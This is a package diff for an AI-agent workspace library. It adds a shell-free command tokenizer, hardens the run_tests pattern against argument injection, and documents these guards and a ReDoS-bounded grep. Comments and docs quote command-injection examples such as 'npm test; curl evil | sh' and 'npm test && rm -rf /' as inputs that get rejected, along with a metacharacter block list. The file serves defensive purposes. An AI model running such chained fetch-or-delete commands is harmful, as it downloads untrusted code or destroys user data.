,GACtC,OAAO,MAAM,MAAM,SAAS,UAAU;CAIxC,OAAO;AACT;;;;;;;;;;;;;AAcA,SAAgB,SAAS,QAAiD;CACxE,MAAM,QAAQ,OAAO;CACrB,MAAM,MAA8B,CAAC;CAErC,IAAI,CAAC,OACH,OAAO;CAGT,KAAK,MAAM,OAAO,MAAM,cAAc,CAAC,GAAG;EACxC,MAAM,QAAQ,QAAQ,IAAI;EAE1B,IAAI,UAAU,QACZ,IAAI,OAAO;CAEf;CAEA,IAAI,MAAM,KACR,KAAK,MAAM,CAAC,KAAK,UAAU,OAAO,QAAQ,MAAM,GAAG,GACjD,IAAI,OAAO;CAIf,OAAO;AACT"}
|
|
@@ -0,0 +1,78 @@
|
|
|
1
|
+
//#region ../ai-workspace/src/policy/tokenize-command.ts
|
|
2
|
+
/**
|
|
3
|
+
* Characters that are refused when they appear UNQUOTED in a command line.
|
|
4
|
+
* Workspace commands are executed as a direct argv spawn — never through a
|
|
5
|
+
* shell — so none of these can mean what a shell would make them mean
|
|
6
|
+
* (chaining, piping, substitution, redirection, subshells). Refusing them
|
|
7
|
+
* outright keeps the allow/deny gate honest: `npm test; curl evil | sh` is
|
|
8
|
+
* rejected instead of silently running commands past the allowlist. Inside
|
|
9
|
+
* quotes they are ordinary literal bytes and pass through as argument data.
|
|
10
|
+
*/
|
|
11
|
+
const UNQUOTED_METACHARACTERS = new Set([
|
|
12
|
+
";",
|
|
13
|
+
"&",
|
|
14
|
+
"|",
|
|
15
|
+
"<",
|
|
16
|
+
">",
|
|
17
|
+
"`",
|
|
18
|
+
"$",
|
|
19
|
+
"(",
|
|
20
|
+
")"
|
|
21
|
+
]);
|
|
22
|
+
/**
|
|
23
|
+
* Tokenize a command line into an argv array WITHOUT any shell semantics.
|
|
24
|
+
*
|
|
25
|
+
* Splitting is POSIX-flavored but deliberately minimal: unquoted spaces/tabs
|
|
26
|
+
* separate tokens; single- or double-quoted spans are literal (including
|
|
27
|
+
* whitespace and metacharacters) up to the matching close quote, and
|
|
28
|
+
* adjacent spans concatenate into one token (`foo"bar baz"` → `foo bar baz`).
|
|
29
|
+
* There is **no** variable expansion, globbing, or backslash escaping — a
|
|
30
|
+
* backslash is a literal byte, so Windows paths survive untouched.
|
|
31
|
+
*
|
|
32
|
+
* Returns `null` — "this command cannot be represented as a single argv" —
|
|
33
|
+
* for an empty/whitespace-only line, an unbalanced quote, or any unquoted
|
|
34
|
+
* shell metacharacter / newline (see {@link UNQUOTED_METACHARACTERS}). The
|
|
35
|
+
* policy gate treats `null` as denied and the local backend refuses to
|
|
36
|
+
* spawn it, which is what closes the `allowed_cmd; anything-else` injection.
|
|
37
|
+
*
|
|
38
|
+
* @example
|
|
39
|
+
* tokenizeCommand('npm test'); // ["npm", "test"]
|
|
40
|
+
* tokenizeCommand('node -e "console.log(1)"'); // ["node", "-e", "console.log(1)"]
|
|
41
|
+
* tokenizeCommand('npm test; curl http://evil'); // null (unquoted `;`)
|
|
42
|
+
*/
|
|
43
|
+
function tokenizeCommand(command) {
|
|
44
|
+
const argv = [];
|
|
45
|
+
let current = "";
|
|
46
|
+
let inToken = false;
|
|
47
|
+
let index = 0;
|
|
48
|
+
while (index < command.length) {
|
|
49
|
+
const char = command[index];
|
|
50
|
+
if (char === "'" || char === "\"") {
|
|
51
|
+
const closing = command.indexOf(char, index + 1);
|
|
52
|
+
if (closing === -1) return null;
|
|
53
|
+
current += command.slice(index + 1, closing);
|
|
54
|
+
inToken = true;
|
|
55
|
+
index = closing + 1;
|
|
56
|
+
continue;
|
|
57
|
+
}
|
|
58
|
+
if (char === " " || char === " ") {
|
|
59
|
+
if (inToken) {
|
|
60
|
+
argv.push(current);
|
|
61
|
+
current = "";
|
|
62
|
+
inToken = false;
|
|
63
|
+
}
|
|
64
|
+
index++;
|
|
65
|
+
continue;
|
|
66
|
+
}
|
|
67
|
+
if (char === "\n" || char === "\r" || UNQUOTED_METACHARACTERS.has(char)) return null;
|
|
68
|
+
current += char;
|
|
69
|
+
inToken = true;
|
|
70
|
+
index++;
|
|
71
|
+
}
|
|
72
|
+
if (inToken) argv.push(current);
|
|
73
|
+
return argv.length > 0 ? argv : null;
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
//#endregion
|
|
77
|
+
export { tokenizeCommand };
|
|
78
|
+
//# sourceMappingURL=tokenize-command.mjs.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"tokenize-command.mjs","names":[],"sources":["../../../../../../../ai-workspace/src/policy/tokenize-command.ts"],"sourcesContent":["/**\r\n * Characters that are refused when they appear UNQUOTED in a command line.\r\n * Workspace commands are executed as a direct argv spawn — never through a\r\n * shell — so none of these can mean what a shell would make them mean\r\n * (chaining, piping, substitution, redirection, subshells). Refusing them\r\n * outright keeps the allow/deny gate honest: `npm test; curl evil | sh` is\r\n * rejected instead of silently running commands past the allowlist. Inside\r\n * quotes they are ordinary literal bytes and pass through as argument data.\r\n */\r\nconst UNQUOTED_METACHARACTERS = new Set([\r\n \";\",\r\n \"&\",\r\n \"|\",\r\n \"<\",\r\n \">\",\r\n \"`\",\r\n \"$\",\r\n \"(\",\r\n \")\",\r\n]);\r\n\r\n/**\r\n * Tokenize a command line into an argv array WITHOUT any shell semantics.\r\n *\r\n * Splitting is POSIX-flavored but deliberately minimal: unquoted spaces/tabs\r\n * separate tokens; single- or double-quoted spans are literal (including\r\n * whitespace and metacharacters) up to the matching close quote, and\r\n * adjacent spans concatenate into one token (`foo\"bar baz\"` → `foo bar baz`).\r\n * There is **no** variable expansion, globbing, or backslash escaping — a\r\n * backslash is a literal byte, so Windows paths survive untouched.\r\n *\r\n * Returns `null` — \"this command cannot be represented as a single argv\" —\r\n * for an empty/whitespace-only line, an unbalanced quote, or any unquoted\r\n * shell metacharacter / newline (see {@link UNQUOTED_METACHARACTERS}). The\r\n * policy gate treats `null` as denied and the local backend refuses to\r\n * spawn it, which is what closes the `allowed_cmd; anything-else` injection.\r\n *\r\n * @example\r\n * tokenizeCommand('npm test'); // [\"npm\", \"test\"]\r\n * tokenizeCommand('node -e \"console.log(1)\"'); // [\"node\", \"-e\", \"console.log(1)\"]\r\n * tokenizeCommand('npm test; curl http://evil'); // null (unquoted `;`)\r\n */\r\nexport function tokenizeCommand(command: string): string[] | null {\r\n const argv: string[] = [];\r\n let current = \"\";\r\n let inToken = false;\r\n let index = 0;\r\n\r\n while (index < command.length) {\r\n const char = command[index];\r\n\r\n if (char === \"'\" || char === '\"') {\r\n const closing = command.indexOf(char, index + 1);\r\n\r\n // Unbalanced quote — the intended argv is ambiguous; refuse.\r\n if (closing === -1) {\r\n return null;\r\n }\r\n\r\n current += command.slice(index + 1, closing);\r\n inToken = true;\r\n index = closing + 1;\r\n\r\n continue;\r\n }\r\n\r\n if (char === \" \" || char === \"\\t\") {\r\n if (inToken) {\r\n argv.push(current);\r\n current = \"\";\r\n inToken = false;\r\n }\r\n\r\n index++;\r\n\r\n continue;\r\n }\r\n\r\n if (char === \"\\n\" || char === \"\\r\" || UNQUOTED_METACHARACTERS.has(char)) {\r\n return null;\r\n }\r\n\r\n current += char;\r\n inToken = true;\r\n index++;\r\n }\r\n\r\n if (inToken) {\r\n argv.push(current);\r\n }\r\n\r\n return argv.length > 0 ? argv : null;\r\n}\r\n"],"mappings":";;;;;;;;;;AASA,MAAM,0BAA0B,IAAI,IAAI;CACtC;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;AACF,CAAC;;;;;;;;;;;;;;;;;;;;;;AAuBD,SAAgB,gBAAgB,SAAkC;CAChE,MAAM,OAAiB,CAAC;CACxB,IAAI,UAAU;CACd,IAAI,UAAU;CACd,IAAI,QAAQ;CAEZ,OAAO,QAAQ,QAAQ,QAAQ;EAC7B,MAAM,OAAO,QAAQ;EAErB,IAAI,SAAS,OAAO,SAAS,MAAK;GAChC,MAAM,UAAU,QAAQ,QAAQ,MAAM,QAAQ,CAAC;GAG/C,IAAI,YAAY,IACd,OAAO;GAGT,WAAW,QAAQ,MAAM,QAAQ,GAAG,OAAO;GAC3C,UAAU;GACV,QAAQ,UAAU;GAElB;EACF;EAEA,IAAI,SAAS,OAAO,SAAS,KAAM;GACjC,IAAI,SAAS;IACX,KAAK,KAAK,OAAO;IACjB,UAAU;IACV,UAAU;GACZ;GAEA;GAEA;EACF;EAEA,IAAI,SAAS,QAAQ,SAAS,QAAQ,wBAAwB,IAAI,IAAI,GACpE,OAAO;EAGT,WAAW;EACX,UAAU;EACV;CACF;CAEA,IAAI,SACF,KAAK,KAAK,OAAO;CAGnB,OAAO,KAAK,SAAS,IAAI,OAAO;AAClC"}
|
|
@@ -9,7 +9,8 @@ interface MakeRunTestsToolOptions {
|
|
|
9
9
|
name?: string;
|
|
10
10
|
/**
|
|
11
11
|
* The base test command to run (default `"npm test"`). When the model
|
|
12
|
-
* supplies a `pattern`, it is appended to this command
|
|
12
|
+
* supplies a `pattern`, it is appended to this command as a single
|
|
13
|
+
* quoted argument.
|
|
13
14
|
*/
|
|
14
15
|
command?: string;
|
|
15
16
|
}
|
|
@@ -20,8 +21,10 @@ interface MakeRunTestsToolOptions {
|
|
|
20
21
|
*
|
|
21
22
|
* The base command defaults to `"npm test"` and can be overridden via
|
|
22
23
|
* `options.command`. When the model passes a `pattern`, it is appended to
|
|
23
|
-
* the command as a path/suite filter
|
|
24
|
-
*
|
|
24
|
+
* the command as a **single quoted argument** — a path/suite filter the
|
|
25
|
+
* tokenizer hands to the runner as one argv element (e.g.
|
|
26
|
+
* `npm test "src/cart"`), so shell metacharacters inside it are literal
|
|
27
|
+
* data, never a second command. Like `run_shell`, the resolved command's
|
|
25
28
|
* executable is gated by the shell policy — a denial surfaces in the
|
|
26
29
|
* result's `error` field — and a non-zero exit (failing tests) comes back
|
|
27
30
|
* as `data` for the agent to read and fix.
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"run-tests.d.mts","names":[],"sources":["../../../../../../../ai-workspace/src/tools/run-tests.ts"],"mappings":";;;;;;
|
|
1
|
+
{"version":3,"file":"run-tests.d.mts","names":[],"sources":["../../../../../../../ai-workspace/src/tools/run-tests.ts"],"mappings":";;;;;;UAmEiB,uBAAA;;EAEf,IAAA;EAFe;;;;AAQR;EAAP,OAAO;AAAA;;;;;;;;;;;;;;;;;AA6BoC;;;;;;;iBAH7B,gBAAA,CACd,GAAA,EAAK,YAAA,EACL,OAAA,GAAU,uBAAA,GACT,YAAA,CAAa,aAAA,EAAe,cAAA"}
|
package/esm/tools/run-tests.mjs
CHANGED
|
@@ -7,7 +7,10 @@ const DEFAULT_RUN_TESTS_TOOL_NAME = "run_tests";
|
|
|
7
7
|
const DEFAULT_TEST_COMMAND = "npm test";
|
|
8
8
|
/**
|
|
9
9
|
* Hand-rolled Standard Schema for {@link RunTestsInput}. `pattern` is the
|
|
10
|
-
* only field and is optional; when present it must be a string
|
|
10
|
+
* only field and is optional; when present it must be a string without
|
|
11
|
+
* double quotes or newlines — the pattern is forwarded to the runner as a
|
|
12
|
+
* single double-quoted argument, and those characters would break out of
|
|
13
|
+
* the quoting (i.e. inject extra arguments or commands). Validation
|
|
11
14
|
* happens without a runtime schema dependency, mirroring the wider tool
|
|
12
15
|
* layer.
|
|
13
16
|
*/
|
|
@@ -22,6 +25,10 @@ const runTestsInputSchema = { "~standard": {
|
|
|
22
25
|
message: "pattern must be a string",
|
|
23
26
|
path: ["pattern"]
|
|
24
27
|
}] };
|
|
28
|
+
if (typeof candidate.pattern === "string" && /["\r\n]/.test(candidate.pattern)) return { issues: [{
|
|
29
|
+
message: "pattern must not contain double quotes or newlines",
|
|
30
|
+
path: ["pattern"]
|
|
31
|
+
}] };
|
|
25
32
|
const result = {};
|
|
26
33
|
if (candidate.pattern !== void 0) result.pattern = candidate.pattern;
|
|
27
34
|
return { value: result };
|
|
@@ -34,8 +41,10 @@ const runTestsInputSchema = { "~standard": {
|
|
|
34
41
|
*
|
|
35
42
|
* The base command defaults to `"npm test"` and can be overridden via
|
|
36
43
|
* `options.command`. When the model passes a `pattern`, it is appended to
|
|
37
|
-
* the command as a path/suite filter
|
|
38
|
-
*
|
|
44
|
+
* the command as a **single quoted argument** — a path/suite filter the
|
|
45
|
+
* tokenizer hands to the runner as one argv element (e.g.
|
|
46
|
+
* `npm test "src/cart"`), so shell metacharacters inside it are literal
|
|
47
|
+
* data, never a second command. Like `run_shell`, the resolved command's
|
|
39
48
|
* executable is gated by the shell policy — a denial surfaces in the
|
|
40
49
|
* result's `error` field — and a non-zero exit (failing tests) comes back
|
|
41
50
|
* as `data` for the agent to read and fix.
|
|
@@ -56,7 +65,7 @@ function makeRunTestsTool(ops, options) {
|
|
|
56
65
|
action: (input) => input.pattern ? `Running tests matching "${input.pattern}"` : "Running tests",
|
|
57
66
|
input: runTestsInputSchema,
|
|
58
67
|
execute: (input) => {
|
|
59
|
-
const command = input.pattern ? `${baseCommand} ${input.pattern}` : baseCommand;
|
|
68
|
+
const command = input.pattern ? `${baseCommand} "${input.pattern}"` : baseCommand;
|
|
60
69
|
return ops.exec(command);
|
|
61
70
|
}
|
|
62
71
|
});
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"run-tests.mjs","names":[],"sources":["../../../../../../../ai-workspace/src/tools/run-tests.ts"],"sourcesContent":["import type { StandardSchemaV1 } from \"@standard-schema/spec\";\nimport { tool, type ToolContract } from \"@warlock.js/ai\";\nimport type {\n RunShellResult,\n RunTestsInput,\n WorkspaceOps,\n} from \"../contracts\";\n\n/** The default tool name `run_tests` is exposed to the LLM under. */\nconst DEFAULT_RUN_TESTS_TOOL_NAME = \"run_tests\";\n\n/** The default command run when no `command` override is configured. */\nconst DEFAULT_TEST_COMMAND = \"npm test\";\n\n/**\n * Hand-rolled Standard Schema for {@link RunTestsInput}. `pattern` is the\n * only field and is optional; when present it must be a string. Validation\n * happens without a runtime schema dependency, mirroring the wider tool\n * layer.\n */\nconst runTestsInputSchema: StandardSchemaV1<RunTestsInput> = {\n \"~standard\": {\n version: 1,\n vendor: \"@warlock.js/ai-workspace\",\n validate: (value) => {\n // A no-argument call (the common case) is valid and runs the bare\n // test command.\n if (value === undefined || value === null) {\n return { value: {} };\n }\n\n if (typeof value !== \"object\") {\n return { issues: [{ message: \"expected an object\" }] };\n }\n\n const candidate = value as Record<string, unknown>;\n\n if (candidate.pattern !== undefined && typeof candidate.pattern !== \"string\") {\n return { issues: [{ message: \"pattern must be a string\", path: [\"pattern\"] }] };\n }\n\n const result: RunTestsInput = {};\n\n if (candidate.pattern !== undefined) {\n result.pattern = candidate.pattern as string;\n }\n\n return { value: result };\n },\n },\n};\n\n/** Options for {@link makeRunTestsTool}. */\nexport interface MakeRunTestsToolOptions {\n /** Override the tool name exposed to the LLM (default `\"run_tests\"`). */\n name?: string;\n /**\n * The base test command to run (default `\"npm test\"`). When the model\n * supplies a `pattern`, it is appended to this command.\n */\n command?: string;\n}\n\n/**\n * Build the `run_tests` tool — a {@link ToolContract} convenience over\n * `run_shell` that runs the workspace's configured test command through\n * the policy-enforced {@link WorkspaceOps} layer.\n *\n * The base command defaults to `\"npm test\"` and can be overridden via\n * `options.command`. When the model passes a `pattern`, it is appended to\n * the command as a path/suite filter
|
|
1
|
+
{"version":3,"file":"run-tests.mjs","names":[],"sources":["../../../../../../../ai-workspace/src/tools/run-tests.ts"],"sourcesContent":["import type { StandardSchemaV1 } from \"@standard-schema/spec\";\r\nimport { tool, type ToolContract } from \"@warlock.js/ai\";\r\nimport type {\r\n RunShellResult,\r\n RunTestsInput,\r\n WorkspaceOps,\r\n} from \"../contracts\";\r\n\r\n/** The default tool name `run_tests` is exposed to the LLM under. */\r\nconst DEFAULT_RUN_TESTS_TOOL_NAME = \"run_tests\";\r\n\r\n/** The default command run when no `command` override is configured. */\r\nconst DEFAULT_TEST_COMMAND = \"npm test\";\r\n\r\n/**\r\n * Hand-rolled Standard Schema for {@link RunTestsInput}. `pattern` is the\r\n * only field and is optional; when present it must be a string without\r\n * double quotes or newlines — the pattern is forwarded to the runner as a\r\n * single double-quoted argument, and those characters would break out of\r\n * the quoting (i.e. inject extra arguments or commands). Validation\r\n * happens without a runtime schema dependency, mirroring the wider tool\r\n * layer.\r\n */\r\nconst runTestsInputSchema: StandardSchemaV1<RunTestsInput> = {\r\n \"~standard\": {\r\n version: 1,\r\n vendor: \"@warlock.js/ai-workspace\",\r\n validate: (value) => {\r\n // A no-argument call (the common case) is valid and runs the bare\r\n // test command.\r\n if (value === undefined || value === null) {\r\n return { value: {} };\r\n }\r\n\r\n if (typeof value !== \"object\") {\r\n return { issues: [{ message: \"expected an object\" }] };\r\n }\r\n\r\n const candidate = value as Record<string, unknown>;\r\n\r\n if (candidate.pattern !== undefined && typeof candidate.pattern !== \"string\") {\r\n return { issues: [{ message: \"pattern must be a string\", path: [\"pattern\"] }] };\r\n }\r\n\r\n if (typeof candidate.pattern === \"string\" && /[\"\\r\\n]/.test(candidate.pattern)) {\r\n return {\r\n issues: [\r\n {\r\n message: \"pattern must not contain double quotes or newlines\",\r\n path: [\"pattern\"],\r\n },\r\n ],\r\n };\r\n }\r\n\r\n const result: RunTestsInput = {};\r\n\r\n if (candidate.pattern !== undefined) {\r\n result.pattern = candidate.pattern as string;\r\n }\r\n\r\n return { value: result };\r\n },\r\n },\r\n};\r\n\r\n/** Options for {@link makeRunTestsTool}. */\r\nexport interface MakeRunTestsToolOptions {\r\n /** Override the tool name exposed to the LLM (default `\"run_tests\"`). */\r\n name?: string;\r\n /**\r\n * The base test command to run (default `\"npm test\"`). When the model\r\n * supplies a `pattern`, it is appended to this command as a single\r\n * quoted argument.\r\n */\r\n command?: string;\r\n}\r\n\r\n/**\r\n * Build the `run_tests` tool — a {@link ToolContract} convenience over\r\n * `run_shell` that runs the workspace's configured test command through\r\n * the policy-enforced {@link WorkspaceOps} layer.\r\n *\r\n * The base command defaults to `\"npm test\"` and can be overridden via\r\n * `options.command`. When the model passes a `pattern`, it is appended to\r\n * the command as a **single quoted argument** — a path/suite filter the\r\n * tokenizer hands to the runner as one argv element (e.g.\r\n * `npm test \"src/cart\"`), so shell metacharacters inside it are literal\r\n * data, never a second command. Like `run_shell`, the resolved command's\r\n * executable is gated by the shell policy — a denial surfaces in the\r\n * result's `error` field — and a non-zero exit (failing tests) comes back\r\n * as `data` for the agent to read and fix.\r\n *\r\n * @param ops - The policy-enforced operation layer to delegate `exec` to.\r\n * @param options - Optional tool-name and base-command overrides.\r\n *\r\n * @example\r\n * const runTests = makeRunTestsTool(ops, { command: \"pnpm test\" });\r\n * const { data } = await runTests.invoke({ pattern: \"cart-total\" });\r\n * if (data.exitCode !== 0) inspect(data.stderr);\r\n */\r\nexport function makeRunTestsTool(\r\n ops: WorkspaceOps,\r\n options?: MakeRunTestsToolOptions,\r\n): ToolContract<RunTestsInput, RunShellResult> {\r\n const baseCommand = options?.command ?? DEFAULT_TEST_COMMAND;\r\n\r\n return tool<RunTestsInput, RunShellResult>({\r\n name: options?.name ?? DEFAULT_RUN_TESTS_TOOL_NAME,\r\n description:\r\n \"Run the workspace's test suite, optionally narrowed to a path or \" +\r\n \"name pattern forwarded to the test runner. Failing tests return a \" +\r\n \"non-zero exit code as data, not an error.\",\r\n action: (input) =>\r\n input.pattern ? `Running tests matching \"${input.pattern}\"` : \"Running tests\",\r\n input: runTestsInputSchema,\r\n execute: (input) => {\r\n // The pattern rides as ONE double-quoted token (quotes/newlines are\r\n // rejected by the schema), so it reaches the runner as a single argv\r\n // element and can never smuggle in additional commands or arguments.\r\n const command = input.pattern ? `${baseCommand} \"${input.pattern}\"` : baseCommand;\r\n\r\n return ops.exec(command);\r\n },\r\n });\r\n}\r\n"],"mappings":";;;;AASA,MAAM,8BAA8B;;AAGpC,MAAM,uBAAuB;;;;;;;;;;AAW7B,MAAM,sBAAuD,EAC3D,aAAa;CACX,SAAS;CACT,QAAQ;CACR,WAAW,UAAU;EAGnB,IAAI,UAAU,UAAa,UAAU,MACnC,OAAO,EAAE,OAAO,CAAC,EAAE;EAGrB,IAAI,OAAO,UAAU,UACnB,OAAO,EAAE,QAAQ,CAAC,EAAE,SAAS,qBAAqB,CAAC,EAAE;EAGvD,MAAM,YAAY;EAElB,IAAI,UAAU,YAAY,UAAa,OAAO,UAAU,YAAY,UAClE,OAAO,EAAE,QAAQ,CAAC;GAAE,SAAS;GAA4B,MAAM,CAAC,SAAS;EAAE,CAAC,EAAE;EAGhF,IAAI,OAAO,UAAU,YAAY,YAAY,UAAU,KAAK,UAAU,OAAO,GAC3E,OAAO,EACL,QAAQ,CACN;GACE,SAAS;GACT,MAAM,CAAC,SAAS;EAClB,CACF,EACF;EAGF,MAAM,SAAwB,CAAC;EAE/B,IAAI,UAAU,YAAY,QACxB,OAAO,UAAU,UAAU;EAG7B,OAAO,EAAE,OAAO,OAAO;CACzB;AACF,EACF;;;;;;;;;;;;;;;;;;;;;;;;AAqCA,SAAgB,iBACd,KACA,SAC6C;CAC7C,MAAM,cAAc,SAAS,WAAW;CAExC,OAAO,KAAoC;EACzC,MAAM,SAAS,QAAQ;EACvB,aACE;EAGF,SAAS,UACP,MAAM,UAAU,2BAA2B,MAAM,QAAQ,KAAK;EAChE,OAAO;EACP,UAAU,UAAU;GAIlB,MAAM,UAAU,MAAM,UAAU,GAAG,YAAY,IAAI,MAAM,QAAQ,KAAK;GAEtE,OAAO,IAAI,KAAK,OAAO;EACzB;CACF,CAAC;AACH"}
|
package/llms-full.txt
CHANGED
|
@@ -112,7 +112,7 @@ ai.supervisor({
|
|
|
112
112
|
|
|
113
113
|
---
|
|
114
114
|
name: use-a-workspace
|
|
115
|
-
description: 'Build and operate a policy-jailed filesystem + shell workspace with @warlock.js/ai-workspace. Triggers: `ai.workspace`, `workspace(`, `WorkspacePolicy`, `WorkspaceShellPolicy`, `WorkspaceToolName`, `ws.tools.all`, `ws.tools.pick`, `ws.readFile`, `ws.writeFile`, `ws.editFile`, `ws.exec`, `ws.grep`, `ws.glob`, `ws.readonly`, `ws.scope`, `WorkspacePolicyError`, `WorkspaceEditError`, `denyPaths`, `inheritEnv`, `expectHash`, `read_file`/`edit_file`/`write_file`/`run_shell`/`run_tests`; ''give an agent file tools'', ''jail an agent to a directory'', ''let an agent read/write/grep a repo'', ''read-only workspace for a reviewer'', ''scope an agent to a subdirectory'', ''run a shell command under policy'', ''edit a file with a stale-hash guard''; typical import `import "@warlock.js/ai-workspace"; import { ai } from "@warlock.js/ai"`. Skip: building the agent loop that consumes the tools — `@warlock.js/ai-workspace/build-loop-agent/SKILL.md`; defining a non-filesystem custom tool — `@warlock.js/ai/define-ai-tool/SKILL.md`.'
|
|
115
|
+
description: 'Build and operate a policy-jailed filesystem + shell workspace with @warlock.js/ai-workspace. Triggers: `ai.workspace`, `workspace(`, `WorkspacePolicy`, `WorkspaceShellPolicy`, `WorkspaceToolName`, `ws.tools.all`, `ws.tools.pick`, `ws.readFile`, `ws.writeFile`, `ws.editFile`, `ws.exec`, `ws.grep`, `ws.glob`, `ws.readonly`, `ws.scope`, `WorkspacePolicyError`, `WorkspaceEditError`, `denyPaths`, `inheritEnv`, `expectHash`, `tokenizeCommand`, `read_file`/`edit_file`/`write_file`/`run_shell`/`run_tests`/`grep`; ''give an agent file tools'', ''jail an agent to a directory'', ''let an agent read/write/grep a repo'', ''read-only workspace for a reviewer'', ''scope an agent to a subdirectory'', ''run a shell command under policy'', ''edit a file with a stale-hash guard'', ''command injection guard for an agent shell tool'', ''ReDoS-safe grep for an agent''; typical import `import "@warlock.js/ai-workspace"; import { ai } from "@warlock.js/ai"`. Skip: building the agent loop that consumes the tools — `@warlock.js/ai-workspace/build-loop-agent/SKILL.md`; defining a non-filesystem custom tool — `@warlock.js/ai/define-ai-tool/SKILL.md`.'
|
|
116
116
|
---
|
|
117
117
|
|
|
118
118
|
# Use a workspace — a policy jail for an agent's filesystem + shell
|
|
@@ -143,7 +143,7 @@ This is least-privilege guardrails for a **trusted** agent — not a sandbox aro
|
|
|
143
143
|
| `cwd` | **Absolute** jail root. Every path resolves against it and must stay inside. |
|
|
144
144
|
| `allowPaths` | Extra readable roots outside `cwd`. |
|
|
145
145
|
| `denyPaths` | Globs (`*`, `**`, `?`) blocked **even inside `cwd`** — e.g. `[".git/**", ".env*"]`. A bare dir name (`"node_modules"`) also blocks its contents. |
|
|
146
|
-
| `shell.allow` / `shell.deny` | Executable **basenames** matched against the command's leading token. **Deny wins.** An `allow` list is exhaustive (fail-closed); no `shell` block at all ⇒ nothing may run. |
|
|
146
|
+
| `shell.allow` / `shell.deny` | Executable **basenames** matched against the command's leading argv token (after tokenizing — see below). **Deny wins.** An `allow` list is exhaustive (fail-closed); no `shell` block at all ⇒ nothing may run. |
|
|
147
147
|
| `shell.inheritEnv` | Opt-in `process.env` keys to pass through (e.g. `["PATH"]`). **Nothing leaks in otherwise** — a command can't find `node`/`npm` without `PATH`. |
|
|
148
148
|
| `shell.env` | Explicit env vars injected into every spawned process (override inherited on collision). |
|
|
149
149
|
| `shell.timeoutMs` / `shell.maxOutputBytes` | Per-command wall-clock cap (SIGKILL on expiry) and stdout/stderr byte cap. |
|
|
@@ -152,6 +152,21 @@ This is least-privilege guardrails for a **trusted** agent — not a sandbox aro
|
|
|
152
152
|
|
|
153
153
|
> **The most common gotcha:** `run_shell` fails to find `node`/`npm` because the env is empty. Add `shell: { allow: ["npm", "node"], inheritEnv: ["PATH"] }`.
|
|
154
154
|
|
|
155
|
+
## `run_shell`/`exec` run argv, NOT a shell
|
|
156
|
+
|
|
157
|
+
Commands are tokenized (via `tokenizeCommand`) into an argv and spawned with **no shell semantics** — no pipes, redirection, chaining, backticks, or variable expansion. `npm test && rm -rf /` or `` `curl evil` `` doesn't chain or substitute; it's rejected outright rather than executed piecemeal:
|
|
158
|
+
|
|
159
|
+
```ts
|
|
160
|
+
await ws.exec("npm test"); // OK — ["npm", "test"]
|
|
161
|
+
await ws.exec('node -e "console.log(1)"'); // OK — quotes respected, one argv element
|
|
162
|
+
await ws.exec("npm test; curl http://evil"); // rejected — unquoted `;` is a metacharacter
|
|
163
|
+
```
|
|
164
|
+
|
|
165
|
+
- **Quoting is respected**; **unquoted** shell metacharacters — `;` `&` `|` `<` `>` `` ` `` `$` `(` `)` and newlines — are rejected as a `WorkspacePolicyError` `type: "denied-command"` before anything spawns. The `shell.allow`/`shell.deny` basename check runs against the tokenized argv's first element, not a raw string prefix, so a disguised leading token can't slip past the gate.
|
|
166
|
+
- **On Windows**, the argv is run through a `cmd.exe /d /s /c` wrapper with every element individually quoted (needed because batch shims like `npm.cmd` can't be spawned shell-less); arguments containing `"`, `%`, or newlines are refused there rather than risked (guards the BatBadBut-class argument-smuggling bug class).
|
|
167
|
+
- **`run_tests`'s `pattern`** (model-controlled test-name filter) is forwarded as a **single double-quoted argv token** to the runner, not concatenated into the command string — a pattern containing double quotes or newlines is rejected at input validation rather than passed through.
|
|
168
|
+
- This is a **behavior change, not just a hardening detail**: shell conveniences your commands may have relied on (pipes, redirection, `&&` chaining, `$(...)` substitution) no longer work in `run_shell`/`exec`. Compose multi-step work as separate `ws.exec()` calls instead of a single shelled pipeline.
|
|
169
|
+
|
|
155
170
|
## Two callers, one jail
|
|
156
171
|
|
|
157
172
|
### Agent-facing — `ws.tools.*`
|
|
@@ -181,6 +196,10 @@ await ws.mkdir("src/generated");
|
|
|
181
196
|
await ws.remove("dist");
|
|
182
197
|
```
|
|
183
198
|
|
|
199
|
+
## `grep` is ReDoS-bounded
|
|
200
|
+
|
|
201
|
+
The model supplies `pattern` freely, so `grep` treats it as untrusted input before compiling it into a `RegExp`: patterns over 200 characters and patterns matching a nested-quantifier shape (`(x+)+`, `(x*)*`, `(x+)*`, `(x*)+`-style groups — the classic catastrophic-backtracking shape) are rejected up front as a `WorkspacePolicyError` `type: "unsafe-pattern"`, before any regex is compiled. Any scanned line longer than 2000 characters is skipped (not tested), bounding the worst-case backtracking cost of any single call regardless of pattern shape.
|
|
202
|
+
|
|
184
203
|
## Read-before-edit (the stale-hash guard)
|
|
185
204
|
|
|
186
205
|
`readFile` returns a SHA-256 `hash` of the full file. Pass it to `editFile`'s `expectHash`; if the file changed since you read it, the edit is rejected as stale so you re-read before clobbering. `editFile` also requires the `oldString` to be **exact and unique** — pass `replaceAll: true` to replace every occurrence, or include more surrounding context to disambiguate.
|
|
@@ -201,7 +220,7 @@ try {
|
|
|
201
220
|
}
|
|
202
221
|
```
|
|
203
222
|
|
|
204
|
-
- `WorkspacePolicyError.type`: `"path-escape"` (jail escape / deny glob) | `"denied-command"
|
|
223
|
+
- `WorkspacePolicyError.type`: `"path-escape"` (jail escape / deny glob) | `"denied-command"` (not allow-listed, or rejected during tokenizing — unquoted metacharacters, disallowed Windows-wrapper characters) | `"unsafe-pattern"` (`grep` pattern too long or nested-quantifier ReDoS shape).
|
|
205
224
|
- `WorkspaceEditError.type`: `"not-found"` | `"not-unique"` | `"stale-hash"`.
|
|
206
225
|
|
|
207
226
|
## Composition — `readonly()` and `scope()`
|
package/llms.txt
CHANGED
|
@@ -7,4 +7,4 @@
|
|
|
7
7
|
## Skills
|
|
8
8
|
|
|
9
9
|
